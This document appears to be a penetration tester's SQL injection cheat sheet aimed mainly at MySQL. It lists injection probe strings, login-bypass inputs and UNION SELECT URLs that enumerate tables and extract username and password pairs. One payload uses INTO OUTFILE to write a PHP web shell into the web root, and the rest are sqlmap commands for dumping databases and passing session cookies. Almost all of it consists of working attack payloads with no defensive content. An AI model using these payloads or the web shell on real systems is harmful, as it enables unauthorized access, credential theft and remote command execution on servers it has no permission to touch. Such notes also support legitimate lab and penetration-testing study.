SQL injection

Basic techniques

Stick ' in a parameter and see if it throws a database error (and note what kind).

Another simple test:

' or '1'='1

Other tests:

-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

POST parameters

You can also attempt to inject parameters passed using POST requests, but you'll need Burp or Firefox tamper to view and edit them. For example, you can test a parameter by adding a ' at the end, like lang=en'.

Bypassing authentication

If you find a poorly-sanitized login page, you can attempt to log in without credentials by injecting the username parameter:

username' or 1=1;#
username'-

Database enumeration

The exact syntax for injection will vary by database type. In most lab scenarios, the database will be MySQL.

Get version:

http://[host]/inj.php?id=1 union all select 1,2,3,@@version,5

You can get the number of columns through trial and error using order by. For each query, increase the column number until the database throws an unknown column error:

http://[host]/inject.php?id=54 order by 1
http://[host]/inject.php?id=54 order by 2
http://[host]/inject.php?id=54 order by 3

Get the current user:

http://[host]/inject.php?id=1 union all select 1,2,3,user(),5

See all tables:

http://[host]/inject.php?id=1 union all select 1,2,3,table_name,5 FROM information_schema.tables

Get column names for a specified table:

http://ip/inject.php?id=1 union all select 1,2,3,column_name,5 FROM information_schema.columns where table_name='users'

Get usernames and passwords (0x3a means :):

http://[host]/inject.php?id=1 union all select 1,2,3,concat(name, 0x3A , password),5 from users

You might be able to write to system files depending on permission levels using MySQL's INTO OUTFILE function to create a php shell in the web root:

http://[host]/inject.php?id=54 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

I suspect you could inject a full reverse shell in there too...

SQLmap

Assuming you've tested a parameter with ' and it is injectable, run SQL map against the URL:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dbms=mysql

It may not run unless you specify the database type.

Get the databases:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dbs --dbms=mysql

Get the tables in a database:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --tables -D [database name]

Get the columns in a table:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --columns -D [database name] -T [table name]

Dump a table:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dump -D [database name] -T [table name]

Passing tokens

If the URL isn't accessible, you can pass cookie data or authentication credentials to SQLmap by pasting the post request in a file and using the -r option:

sqlmap -r request.txt

If you just need to pass a cookie:

sqlmap -u "http://[host]/inject.php" --cookie "PHPSESSID=foobar"

REST-style URLs

If your URLs have no parameters, you can still test them:

sqlmap -u "http://[host]/param1*/param2*"

Further reading